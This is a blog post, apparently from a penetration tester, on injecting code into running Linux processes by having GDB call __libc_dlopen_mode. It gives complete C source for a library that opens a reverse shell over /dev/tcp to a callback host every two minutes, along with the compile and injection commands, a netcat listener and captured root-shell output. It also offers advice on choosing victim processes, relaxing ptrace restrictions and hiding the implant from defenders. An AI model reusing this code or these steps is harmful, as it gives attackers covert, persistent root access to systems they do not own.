Process Injection with GDB

Inspired by excellent CobaltStrike training, I set out to work out an easy way to inject into processes in Linux. There’s been quite a lot of experimentation with this already, usually using 

ptrace(2)

 or

LD_PRELOAD

, but I wanted something a little simpler and less error-prone, perhaps trading ease-of-use for flexibility and works-everywhere. Enter GDB and shared object files (i.e. libraries).

GDB, for those who’ve never found themselves with a bug unsolvable with lots of well-placed 

printf("Here\n")

 statements, is the GNU debugger. It’s typical use is to poke at a runnnig process for debugging, but it has one interesting feature: it can have the debugged process call library functions. There are two functions which we can use to load a library into to the program: 

dlopen(3)

from libdl, and 

__libc_dlopen_mode

, libc’s implementation. We’ll use 

__libc_dlopen_mode

 because it doesn’t require the host process to have libdl linked in.

In principle, we could load our library and have GDB call one of its functions. Easier than that is to have the library’s constructor function do whatever we would have done manually in another thread, to keep the amount of time the process is stopped to a minimum. More below.

Caveats

Trading flexibility for ease-of-use puts a few restrictions on where and how we can inject our own code. In practice, this isn’t a problem, but there are a few gotchas to consider.

ptrace(2)

We’ll need to be able to attach to the process with 

ptrace(2)

, which GDB uses under the hood. Root can usually do this, but as a user, we can only attach to our own processes. To make it harder, some systems only allow processes to attach to their children, which can be changed via a sysctl. Changing the sysctl requires root, so it’s not very useful in practice. Just in case:


sysctl kernel.yama.ptrace_scope<span class="o">=</span>0
<span class="c"># or</span>
<span class="nb">echo </span>0 <span class="o">&gt;</span> /proc/sys/kernel/yama/ptrace_scope

Generally, it’s better to do this as root.

Stopped Processes

When GDB attaches to a process, the process is stopped. It’s best to script GDB’s actions beforehand, either with 

-x

 and 

--batch

 or 

echo

ing commands to GDB minimize the amount of time the process isn’t doing whatever it should be doing. If, for whatever reason, GDB doesn’t restart the process when it exits, sending the process 

SIGCONT

 should do the trick.


<span class="nb">kill</span> <span class="nt">-CONT</span> &lt;PID&gt;

Process Death

Once our library’s loaded and running, anything that goes wrong with it (e.g. segfaults) affects the entire process. Likewise, if it writes output or sends messages to syslog, they’ll show up as coming from the process. It’s not a bad idea to use the injected library as a loader to spawn actual malware in new proceses.

On Target

With all of that in mind, let’s look at how to do it. We’ll assume ssh access to a target, though in principle this can (should) all be scripted and can be run with shell/sql/file injection or whatever other method.

Process Selection

First step is to find a process into which to inject. Let’s look at a process listing, less kernel threads:


root@ubuntu-s-1vcpu-1gb-nyc1-01:~# ps -fxo pid,user,args | egrep -v ' \[\S+\]$'
  PID USER     COMMAND
    1 root     /sbin/init
  625 root     /lib/systemd/systemd-journald
  664 root     /sbin/lvmetad -f
  696 root     /lib/systemd/systemd-udevd
 1266 root     /sbin/iscsid
 1267 root     /sbin/iscsid
 1273 root     /usr/lib/accountsservice/accounts-daemon
 1278 root     /usr/sbin/sshd -D
 1447 root      \_ sshd: root@pts/1
 1520 root          \_ -bash
 1538 root              \_ ps -fxo pid,user,args
 1539 root              \_ grep -E --color=auto -v  \[\S+\]$
 1282 root     /lib/systemd/systemd-logind
 1295 root     /usr/bin/lxcfs /var/lib/lxcfs/
 1298 root     /usr/sbin/acpid
 1312 root     /usr/sbin/cron -f
 1316 root     /usr/lib/snapd/snapd
 1356 root     /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog
 1358 root     /usr/lib/policykit-1/polkitd --no-debug
 1413 root     /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
 1415 root     /sbin/agetty --noclear tty1 linux
 1449 root     /lib/systemd/systemd --user
 1451 root      \_ (sd-pam)

Some good choices in there. Ideally we’ll use a long-running process which nobody’s going to want to kill. Processes with low pids tend to work nicely, as they’re started early and nobody wants to find out what happens when they die. It’s helpful to inject into something running as root to avoid having to worry about permissions. Even better is a process that nobody wants to kill but which isn’t doing anything useful anyway.

In some cases, something short-lived, killable, and running as a user is good if the injected code only needs to run for a short time (e.g. something to survey the box, grab creds, and leave) or if there’s a good chance it’ll need to be stopped the hard way. It’s a judgement call.

We’ll use 

664 root /sbin/lvmetad -f

. It should be able to do anything we’d like and if something goes wrong we can restart it, probably without too much fuss.

Malware

More or less any linux shared object file can be injected. We’ll make a small one for demonstration purposes, but I’ve injected multi-megabyte backdoors written in Go as well. A lot of the fiddling that went into making this blog post was done using pcapknock.

For the sake of simplicity, we’ll use the following. Note that a lot of error handling has been elided for brevity. In practice, getting meaningful error output from injected libraries’ constructor functions isn’t as straightforward as a simple 

warn("something"); return;

 unless you really trust the standard error of your victim process.


<span class="cp">#include &lt;pthread.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
</span>
<span class="cp">#define SLEEP  120                    </span><span class="cm">/* Time to sleep between callbacks */</span><span class="cp">
#define CBADDR "&lt;REDACTED&gt;"           </span><span class="cm">/* Callback address */</span><span class="cp">
#define CBPORT "4444"                 </span><span class="cm">/* Callback port */</span>

<span class="cm">/* Reverse shell command */</span>
<span class="cp">#define CMD "echo 'exec &gt;&amp;/dev/tcp/"\
            CBADDR "/" CBPORT "; exec 0&gt;&amp;1' | /bin/bash"
</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">callback</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">a</span><span class="p">);</span>

<span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span> <span class="cm">/* Run this function on library load */</span>
<span class="kt">void</span> <span class="n">start_callbacks</span><span class="p">(){</span>
        <span class="n">pthread_t</span> <span class="n">tid</span><span class="p">;</span>
        <span class="n">pthread_attr_t</span> <span class="n">attr</span><span class="p">;</span>

        <span class="cm">/* Start thread detached */</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="n">pthread_attr_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">))</span> <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="n">pthread_attr_setdetachstate</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">,</span>
                                <span class="n">PTHREAD_CREATE_DETACHED</span><span class="p">))</span> <span class="p">{</span>
                <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="cm">/* Spawn a thread to do the real work */</span>
        <span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attr</span><span class="p">,</span> <span class="n">callback</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>

<span class="cm">/* callback tries to spawn a reverse shell every so often.  */</span>
<span class="kt">void</span> <span class="o">*</span>
<span class="n">callback</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">a</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">for</span> <span class="p">(;;)</span> <span class="p">{</span>
                <span class="cm">/* Try to spawn a reverse shell */</span>
                <span class="n">system</span><span class="p">(</span><span class="n">CMD</span><span class="p">);</span>
                <span class="cm">/* Wait until next shell */</span>
                <span class="n">sleep</span><span class="p">(</span><span class="n">SLEEP</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>

In a nutshell, this will spawn an unencrypted, unauthenticated reverse shell to a hardcoded address and port every couple of minutes. The 

__attribute__((constructor))

 applied to 

start_callbacks()

 causes it to run when the library is loaded. All 

start_callbacks()

 does is spawn a thread to make reverse shells.

Building a library is similar to building any C program, except that 

-fPIC

 and 

-shared

 must be given to the compiler.


cc <span class="nt">-O2</span> <span class="nt">-fPIC</span> <span class="nt">-o</span> libcallback.so ./callback.c <span class="nt">-lpthread</span> <span class="nt">-shared</span>

It’s not a bad idea to optimize the output with 

-O2

 to maybe consume less CPU time. Of course, on a real engagement the injected library will be significantly more complex than this example.

Injection

Now that we have the injectable library created, we can do the deed. First thing to do is start a listener to catch the callbacks:


nc <span class="nt">-nvl</span> 4444 <span class="c">#OpenBSD netcat ftw!</span>
__libc_dlopen_mode

 takes two arguments, the path to the library and flags as an integer. The path to the library will be visible, so it’s best to put it somewhere inconspicuous, like 

/usr/lib

. We’ll use 

2

 for the flags, which corresponds to 

dlopen(3)

’s 

RTLD_NOW

. To get GDB to cause the process to run the function, we’ll use GDB’s 

print

 command, which conviently gives us the function’s return value. Instead of typing the command into GDB, which takes eons in program time, we’ll echo it into GDB’s standard input. This has the nice side-effect of causing GDB to exit without needing a 

quit

command.


root@ubuntu-s-1vcpu-1gb-nyc1-01:~# <span class="nb">echo</span> <span class="s1">'print __libc_dlopen_mode("/root/libcallback.so", 2)'</span> | gdb <span class="nt">-p</span> 664
GNU gdb <span class="o">(</span>Ubuntu 7.11.1-0ubuntu1~16.5<span class="o">)</span> 7.11.1
Copyright <span class="o">(</span>C<span class="o">)</span> 2016 Free Software Foundation, Inc.
...snip...
0x00007f6ca1cf75d3 <span class="k">in select</span> <span class="o">()</span> at ../sysdeps/unix/syscall-template.S:84
84      ../sysdeps/unix/syscall-template.S: No such file or directory.
<span class="o">(</span>gdb<span class="o">)</span> <span class="o">[</span>New Thread 0x7f6c9bfff700 <span class="o">(</span>LWP 1590<span class="o">)]</span>
<span class="nv">$1</span> <span class="o">=</span> 312536496
<span class="o">(</span>gdb<span class="o">)</span> quit
A debugging session is active.

        Inferior 1 <span class="o">[</span>process 664] will be detached.

Quit anyway? <span class="o">(</span>y or n<span class="o">)</span> <span class="o">[</span>answered Y<span class="p">;</span> input not from terminal]
Detaching from program: /sbin/lvmetad, process 664

Checking netcat, we’ve caught the callback:


<span class="o">[</span>stuart@c2server:/home/stuart]
<span class="nv">$ </span>nc <span class="nt">-nvl</span> 4444
Connection from &lt;REDACTED&gt; 50184 received!
ps <span class="nt">-fxo</span> pid,user,args
...snip...
  664 root     /sbin/lvmetad <span class="nt">-f</span>
 1591 root      <span class="se">\_</span> sh <span class="nt">-c</span> <span class="nb">echo</span> <span class="s1">'exec &gt;&amp;/dev/tcp/&lt;REDACTED&gt;/4444; exec 0&gt;&amp;1'</span> | /bin/bash
 1593 root          <span class="se">\_</span> /bin/bash
 1620 root              <span class="se">\_</span> ps <span class="nt">-fxo</span> pid,user,args
...snip...

That’s it, we’ve got execution in another process.

If the injection had failed, we’d have seen 

$1 = 0

, indicating

__libc_dlopen_mode

 returned 

NULL

.

Artifacts

There are several places defenders might catch us. The risk of detection can be minimized to a certain extent, but without a rootkit, there’s always some way to see we’ve done something. Of course, the best way to hide is to not raise suspicions in the first place.

Process listing

A process listing like the one above will show that the process into which we’ve injected malware has funny child processes. This can be avoided by either having the library doule-fork a child process to do the actual work or having the injected library do everything from within the victim process.

Files on disk

The loaded library has to start on disk, which leaves disk artifacts, and the original path to the library is visible in 

/proc/pid/maps

:


root@ubuntu-s-1vcpu-1gb-nyc1-01:~# <span class="nb">cat</span> /proc/664/maps                                                      
...snip...
7f6ca0650000-7f6ca0651000 r-xp 00000000 fd:01 61077    /root/libcallback.so                        
7f6ca0651000-7f6ca0850000 <span class="nt">---p</span> 00001000 fd:01 61077    /root/libcallback.so                        
7f6ca0850000-7f6ca0851000 r--p 00000000 fd:01 61077    /root/libcallback.so
7f6ca0851000-7f6ca0852000 rw-p 00001000 fd:01 61077    /root/libcallback.so            
...snip...

If we delete the library, 

(deleted)

 is appended to the filename (i.e.

/root/libcallback.so (deleted)

), which looks even weirder. This is somewhat mitigated by putting the library somewhere libraries normally live, like 

/usr/lib

, and naming it something normal-looking.

Service disruption

Loading the library stops the running process for a short amount of time, and if the library causes process instability, it may crash the process or at least cause it to log warning messages (on a related note, don’t inject into 

systemd(1)

, it causes segfaults and makes 

shutdown(8)

 hang the box).

Process injection on Linux is reasonably easy:

  1. Write a library (shared object file) with a constructor.
  2. Load it with 
    echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p &lt;PID&gt;
РубрикиБез рубрики

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

%d такие блоггеры, как: